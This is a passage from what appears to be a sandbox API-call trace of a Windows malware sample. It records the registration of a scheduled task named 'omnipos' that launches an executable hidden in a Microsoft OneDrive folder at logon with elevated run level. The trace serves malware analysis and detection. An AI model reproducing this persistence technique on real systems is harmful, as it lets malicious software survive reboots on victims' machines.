_Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.995] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x28d2a0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0140.995] lstrlenW (lpString="Third") returned 5 [0140.995] _memicmp (_Buf1=0x28bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.995] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x28d2a0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0140.995] lstrlenW (lpString="Fourth") returned 6 [0140.995] _memicmp (_Buf1=0x28bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.995] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x28d2a0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0140.995] lstrlenW (lpString="Last") returned 4 [0140.995] _memicmp (_Buf1=0x28bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.995] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x28d2a0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0140.995] lstrlenW (lpString="First") returned 5 [0140.995] _memicmp (_Buf1=0x28bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.995] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x28d2a0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0140.995] lstrlenW (lpString="Second") returned 6 [0140.995] _memicmp (_Buf1=0x28bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.995] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x28d2a0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0140.995] lstrlenW (lpString="Third") returned 5 [0140.995] GetProcessHeap () returned 0x270000 [0140.995] GetProcessHeap () returned 0x270000 [0140.995] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28d680) returned 1 [0140.996] GetProcessHeap () returned 0x270000 [0140.996] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28d680) returned 0xa [0140.996] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28d680 | out: hHeap=0x270000) returned 1 [0140.996] GetProcessHeap () returned 0x270000 [0140.996] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0xc) returned 0x28d680 [0140.996] _memicmp (_Buf1=0x28bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.996] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x28d2a0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0140.996] lstrlenW (lpString="Fourth") returned 6 [0140.996] _memicmp (_Buf1=0x28bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.996] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x28d2a0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0140.996] lstrlenW (lpString="Last") returned 4 [0140.996] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x19c180, cchData=128 | out: lpLCData="0") returned 2 [0140.996] _memicmp (_Buf1=0x28bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.996] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x28d2a0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0140.996] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0140.996] GetProcessHeap () returned 0x270000 [0140.996] GetProcessHeap () returned 0x270000 [0140.996] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28d5a0) returned 1 [0140.996] GetProcessHeap () returned 0x270000 [0140.996] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28d5a0) returned 0x10 [0140.996] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28d5a0 | out: hHeap=0x270000) returned 1 [0140.996] GetProcessHeap () returned 0x270000 [0140.996] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x16) returned 0x28d5a0 [0140.996] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x19c1a0, cchData=128 | out: lpLCData="0") returned 2 [0140.996] _memicmp (_Buf1=0x28bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0140.996] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x28d2a0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0140.997] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0140.997] GetProcessHeap () returned 0x270000 [0140.997] GetProcessHeap () returned 0x270000 [0140.997] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28d5c0) returned 1 [0140.997] GetProcessHeap () returned 0x270000 [0140.997] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28d5c0) returned 0x10 [0140.997] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28d5c0 | out: hHeap=0x270000) returned 1 [0140.997] GetProcessHeap () returned 0x270000 [0140.997] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x16) returned 0x28d5c0 [0140.997] GetLocalTime (in: lpSystemTime=0x19c3d0 | out: lpSystemTime=0x19c3d0*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x4, wMilliseconds=0x46)) [0140.997] GetLocalTime (in: lpSystemTime=0x19cc88 | out: lpSystemTime=0x19cc88*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x4, wMilliseconds=0x46)) [0140.997] lstrlenW (lpString="") returned 0 [0140.997] lstrlenW (lpString="") returned 0 [0140.997] lstrlenW (lpString="") returned 0 [0140.997] lstrlenW (lpString="") returned 0 [0140.997] lstrlenW (lpString="") returned 0 [0140.997] lstrlenW (lpString="") returned 0 [0140.997] lstrlenW (lpString="") returned 0 [0140.997] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0141.022] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0141.082] CoCreateInstance (in: rclsid=0xfff91ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xfff91ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x19ca50 | out: ppv=0x19ca50*=0x537aa0) returned 0x0 [0141.093] TaskScheduler:ITaskService:Connect (This=0x537aa0, serverName=0x19cb30*(varType=0x8, wReserved1=0x19, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x19caf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x19cb10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x19cad0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0141.155] TaskScheduler:IUnknown:AddRef (This=0x537aa0) returned 0x2 [0141.155] TaskScheduler:ITaskService:GetFolder (in: This=0x537aa0, Path=0x0, ppFolder=0x19cbe8 | out: ppFolder=0x19cbe8*=0x537c60) returned 0x0 [0141.159] TaskScheduler:ITaskService:NewTask (in: This=0x537aa0, flags=0x0, ppDefinition=0x19cbe0 | out: ppDefinition=0x19cbe0*=0x537cb0) returned 0x0 [0141.159] ITaskDefinition:get_Actions (in: This=0x537cb0, ppActions=0x19cb60 | out: ppActions=0x19cb60*=0x537d70) returned 0x0 [0141.159] IActionCollection:Create (in: This=0x537d70, Type=0, ppAction=0x19cb80 | out: ppAction=0x19cb80*=0x5360c0) returned 0x0 [0141.160] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'") returned 55 [0141.160] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe'") returned 55 [0141.160] lstrlenW (lpString=" ") returned 1 [0141.160] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0141.160] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0141.160] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0141.160] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0141.160] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0141.160] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0141.160] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0141.160] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0141.160] StrChrW (lpStart=" ", wMatch=0x67) returned 0x0 [0141.160] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0141.160] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0141.160] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0141.160] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0141.160] StrChrW (lpStart=" ", wMatch=0x46) returned 0x0 [0141.160] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0141.160] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0141.160] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0141.160] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0141.160] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0141.160] StrChrW (lpStart=" ", wMatch=0x28) returned 0x0 [0141.161] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0141.161] StrChrW (lpStart=" ", wMatch=0x38) returned 0x0 [0141.161] StrChrW (lpStart=" ", wMatch=0x36) returned 0x0 [0141.161] StrChrW (lpStart=" ", wMatch=0x29) returned 0x0 [0141.161] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0141.161] StrChrW (lpStart=" ", wMatch=0x4d) returned 0x0 [0141.161] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0141.161] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0141.161] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0141.161] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0141.161] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0141.161] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0141.161] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0141.161] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0141.161] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0141.161] StrChrW (lpStart=" ", wMatch=0x4f) returned 0x0 [0141.161] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0141.161] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0141.161] StrChrW (lpStart=" ", wMatch=0x44) returned 0x0 [0141.161] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0141.161] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0141.161] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0141.161] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0141.161] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0141.161] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0141.161] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0141.161] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0141.161] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0141.161] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0141.162] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0141.162] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0141.162] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0141.162] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0141.162] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0141.162] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0141.162] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0141.162] IUnknown:Release (This=0x5360c0) returned 0x1 [0141.162] IUnknown:Release (This=0x537d70) returned 0x1 [0141.162] ITaskDefinition:get_Triggers (in: This=0x537cb0, ppTriggers=0x19c6e0 | out: ppTriggers=0x19c6e0*=0x537eb0) returned 0x0 [0141.162] ITriggerCollection:Create (in: This=0x537eb0, Type=9, ppTrigger=0x19c6d8 | out: ppTrigger=0x19c6d8*=0x536150) returned 0x0 [0141.162] IUnknown:QueryInterface (in: This=0x536150, riid=0xfff91c48*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0x19c6d0 | out: ppvObject=0x19c6d0*=0x536150) returned 0x0 [0141.162] IUnknown:Release (This=0x536150) returned 0x2 [0141.163] _vsnwprintf (in: _Buffer=0x19c620, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x19c5f8 | out: _Buffer="2022-08-06T02:19:00") returned 19 [0141.163] ITrigger:put_StartBoundary (This=0x536150, StartBoundary="2022-08-06T02:19:00") returned 0x0 [0141.163] lstrlenW (lpString="") returned 0 [0141.163] lstrlenW (lpString="") returned 0 [0141.163] lstrlenW (lpString="") returned 0 [0141.163] lstrlenW (lpString="") returned 0 [0141.163] IUnknown:Release (This=0x536150) returned 0x1 [0141.163] IUnknown:Release (This=0x537eb0) returned 0x1 [0141.163] ITaskDefinition:get_Settings (in: This=0x537cb0, ppSettings=0x19cb80 | out: ppSettings=0x19cb80*=0x537f20) returned 0x0 [0141.163] lstrlenW (lpString="") returned 0 [0141.163] IUnknown:Release (This=0x537f20) returned 0x1 [0141.164] GetLocalTime (in: lpSystemTime=0x19ca38 | out: lpSystemTime=0x19ca38*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x4, wMilliseconds=0xf1)) [0141.164] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe7b0000 [0141.164] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetUserNameW") returned 0x7fefe7c1fd0 [0141.164] GetUserNameW (in: lpBuffer=0x19ca60, pcbBuffer=0x19ca48 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x19ca48) returned 1 [0141.164] ITaskDefinition:get_RegistrationInfo (in: This=0x537cb0, ppRegistrationInfo=0x19ca30 | out: ppRegistrationInfo=0x19ca30*=0x537df0) returned 0x0 [0141.165] IRegistrationInfo:put_Author (This=0x537df0, Author="") returned 0x0 [0141.165] _vsnwprintf (in: _Buffer=0x19ca60, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x19c9f8 | out: _Buffer="2022-08-06T02:19:04") returned 19 [0141.165] IRegistrationInfo:put_Date (This=0x537df0, Date="") returned 0x0 [0141.165] IUnknown:Release (This=0x537df0) returned 0x1 [0141.165] malloc (_Size=0x18) returned 0x536260 [0141.165] free (_Block=0x536260) [0141.165] lstrlenW (lpString="") returned 0 [0141.165] ITaskDefinition:get_Principal (in: This=0x537cb0, ppPrincipal=0x19cc50 | out: ppPrincipal=0x19cc50*=0x536010) returned 0x0 [0141.166] IPrincipal:put_RunLevel (This=0x536010, RunLevel=1) returned 0x0 [0141.166] IUnknown:Release (This=0x536010) returned 0x1 [0141.166] malloc (_Size=0x18) returned 0x536260 [0141.166] ITaskFolder:RegisterTaskDefinition (in: This=0x537c60, Path="omnipos", pDefinition=0x537cb0, flags=6, UserId=0x19ccd0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x19cd10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x19ebe0, varVal2=0xfe), LogonType=3, sddl=0x19ccf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x19cbf0 | out: ppTask=0x19cbf0*=0x536400) returned 0x0 [0141.775] free (_Block=0x536260) [0141.775] _memicmp (_Buf1=0x28bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0141.775] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x28d2a0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0141.775] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0141.775] GetProcessHeap () returned 0x270000 [0141.775] GetProcessHeap () returned 0x270000 [0141.775] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28d5e0) returned 1 [0141.775] GetProcessHeap () returned 0x270000 [0141.775] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28d5e0) returned 0xe [0141.775] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28d5e0 | out: hHeap=0x270000) returned 1 [0141.776] GetProcessHeap () returned 0x270000 [0141.776] RtlAllocateHeap (HeapHandle=0x270000, Flags=0xc, Size=0x82) returned 0x2a9ba0 [0141.776] _vsnwprintf (in: _Buffer=0x19d330, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x19cb98 | out: _Buffer="SUCCESS: The scheduled task \"omnipos\" has successfully been created.\n") returned 69 [0141.776] _fileno (_File=0x7fefed02ab0) returned -2 [0141.776] _errno () returned 0x534bb0 [0141.776] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0141.776] SetLastError (dwErrCode=0x6) [0141.776] lstrlenW (lpString="SUCCESS: The scheduled task \"omnipos\" has successfully been created.\n") returned 69 [0141.776] GetConsoleOutputCP () returned 0x0 [0141.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"omnipos\" has successfully been created.\n", cchWideChar=69, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 69 [0141.776] GetConsoleOutputCP () returned 0x0 [0141.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"omnipos\" has successfully been created.\n", cchWideChar=69, lpMultiByteStr=0xfffd1880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"omnipos\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 69 [0141.776] fprintf (in: _File=0x7fefed02ab0, _Format="%s" | out: _File=0x7fefed02ab0) returned 69 [0141.776] fflush (in: _File=0x7fefed02ab0 | out: _File=0x7fefed02ab0) returned -1 [0141.777] IUnknown:Release (This=0x536400) returned 0x0 [0141.777] TaskScheduler:IUnknown:Release (This=0x537cb0) returned 0x0 [0141.777] TaskScheduler:IUnknown:Release (This=0x537c60) returned 0x0 [0141.777] TaskScheduler:IUnknown:Release (This=0x537aa0) returned 0x1 [0141.777] lstrlenW (lpString="") returned 0 [0141.777] GetProcessHeap () returned 0x270000 [0141.777] GetProcessHeap () returned 0x270000 [0141.777] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28c2f0) returned 1 [0141.777] GetProcessHeap () returned 0x270000 [0141.777] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28c2f0) returned 0x1fc [0141.777] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28c2f0 | out: hHeap=0x270000) returned 1 [0141.777] GetProcessHeap () returned 0x270000 [0141.778] GetProcessHeap () returned 0x270000 [0141.778] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28d500) returned 1 [0141.778] GetProcessHeap () returned 0x270000 [0141.778] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28d500) returned 0x16 [0141.778] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28d500 | out: hHeap=0x270000) returned 1 [0141.778] GetProcessHeap () returned 0x270000 [0141.778] GetProcessHeap () returned 0x270000 [0141.778] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28d580) returned 1 [0141.778] GetProcessHeap () returned 0x270000 [0141.778] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28d580) returned 0x18 [0141.778] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28d580 | out: hHeap=0x270000) returned 1 [0141.778] GetProcessHeap () returned 0x270000 [0141.778] GetProcessHeap () returned 0x270000 [0141.778] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28cd70) returned 1 [0141.778] GetProcessHeap () returned 0x270000 [0141.778] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28cd70) returned 0x20 [0141.778] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28cd70 | out: hHeap=0x270000) returned 1 [0141.778] GetProcessHeap () returned 0x270000 [0141.778] GetProcessHeap () returned 0x270000 [0141.778] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28c010) returned 1 [0141.778] GetProcessHeap () returned 0x270000 [0141.778] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28c010) returned 0xa0 [0141.779] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28c010 | out: hHeap=0x270000) returned 1 [0141.779] GetProcessHeap () returned 0x270000 [0141.779] GetProcessHeap () returned 0x270000 [0141.779] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28ba90) returned 1 [0141.779] GetProcessHeap () returned 0x270000 [0141.779] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28ba90) returned 0x18 [0141.779] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28ba90 | out: hHeap=0x270000) returned 1 [0141.779] GetProcessHeap () returned 0x270000 [0141.779] GetProcessHeap () returned 0x270000 [0141.779] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28cb30) returned 1 [0141.779] GetProcessHeap () returned 0x270000 [0141.779] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28cb30) returned 0x20 [0141.779] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28cb30 | out: hHeap=0x270000) returned 1 [0141.779] GetProcessHeap () returned 0x270000 [0141.780] GetProcessHeap () returned 0x270000 [0141.780] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28c270) returned 1 [0141.780] GetProcessHeap () returned 0x270000 [0141.780] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28c270) returned 0x70 [0141.780] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28c270 | out: hHeap=0x270000) returned 1 [0141.780] GetProcessHeap () returned 0x270000 [0141.780] GetProcessHeap () returned 0x270000 [0141.780] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28d4e0) returned 1 [0141.780] GetProcessHeap () returned 0x270000 [0141.780] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28d4e0) returned 0x18 [0141.780] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28d4e0 | out: hHeap=0x270000) returned 1 [0141.780] GetProcessHeap () returned 0x270000 [0141.780] GetProcessHeap () returned 0x270000 [0141.780] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28cb00) returned 1 [0141.780] GetProcessHeap () returned 0x270000 [0141.780] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28cb00) returned 0x20 [0141.781] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28cb00 | out: hHeap=0x270000) returned 1 [0141.781] GetProcessHeap () returned 0x270000 [0141.781] GetProcessHeap () returned 0x270000 [0141.781] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28dcf0) returned 1 [0141.781] GetProcessHeap () returned 0x270000 [0141.781] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28dcf0) returned 0x72 [0141.781] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28dcf0 | out: hHeap=0x270000) returned 1 [0141.781] GetProcessHeap () returned 0x270000 [0141.781] GetProcessHeap () returned 0x270000 [0141.782] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28d560) returned 1 [0141.782] GetProcessHeap () returned 0x270000 [0141.782] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28d560) returned 0x18 [0141.782] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28d560 | out: hHeap=0x270000) returned 1 [0141.782] GetProcessHeap () returned 0x270000 [0141.782] GetProcessHeap () returned 0x270000 [0141.782] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28cad0) returned 1 [0141.782] GetProcessHeap () returned 0x270000 [0141.782] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28cad0) returned 0x20 [0141.782] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28cad0 | out: hHeap=0x270000) returned 1 [0141.782] GetProcessHeap () returned 0x270000 [0141.782] GetProcessHeap () returned 0x270000 [0141.782] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28d540) returned 1 [0141.782] GetProcessHeap () returned 0x270000 [0141.782] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28d540) returned 0xe [0141.782] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28d540 | out: hHeap=0x270000) returned 1 [0141.782] GetProcessHeap () returned 0x270000 [0141.782] GetProcessHeap () returned 0x270000 [0141.782] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28d520) returned 1 [0141.782] GetProcessHeap () returned 0x270000 [0141.783] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28d520) returned 0x18 [0141.783] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28d520 | out: hHeap=0x270000) returned 1 [0141.783] GetProcessHeap () returned 0x270000 [0141.783] GetProcessHeap () returned 0x270000 [0141.783] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x285d70) returned 1 [0141.783] GetProcessHeap () returned 0x270000 [0141.783] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x285d70) returned 0x20 [0141.783] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x285d70 | out: hHeap=0x270000) returned 1 [0141.783] GetProcessHeap () returned 0x270000 [0141.783] GetProcessHeap () returned 0x270000 [0141.783] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28bc10) returned 1 [0141.783] GetProcessHeap () returned 0x270000 [0141.783] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28bc10) returned 0x208 [0141.784] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28bc10 | out: hHeap=0x270000) returned 1 [0141.784] GetProcessHeap () returned 0x270000 [0141.784] GetProcessHeap () returned 0x270000 [0141.784] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28ba70) returned 1 [0141.784] GetProcessHeap () returned 0x270000 [0141.784] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28ba70) returned 0x18 [0141.784] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28ba70 | out: hHeap=0x270000) returned 1 [0141.784] GetProcessHeap () returned 0x270000 [0141.784] GetProcessHeap () returned 0x270000 [0141.784] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x285c80) returned 1 [0141.784] GetProcessHeap () returned 0x270000 [0141.784] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x285c80) returned 0x20 [0141.784] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x285c80 | out: hHeap=0x270000) returned 1 [0141.785] GetProcessHeap () returned 0x270000 [0141.785] GetProcessHeap () returned 0x270000 [0141.785] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28d2a0) returned 1 [0141.785] GetProcessHeap () returned 0x270000 [0141.785] RtlSizeHeap (HeapHandle=0x270000, Flags=0x0, MemoryPointer=0x28d2a0) returned 0x200 [0141.785] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28d2a0 | out: hHeap=0x270000) returned 1 [0141.785] GetProcessHeap () returned 0x270000 [0141.785] GetProcessHeap () returned 0x270000 [0141.785] HeapValidate (hHeap=0x270000, dwFlags=0x0, lpMem=0x28bab0) returned 1 [0141.785] GetProcessHeap () returned 0x270000 [0141.785] RtlSizeHeap 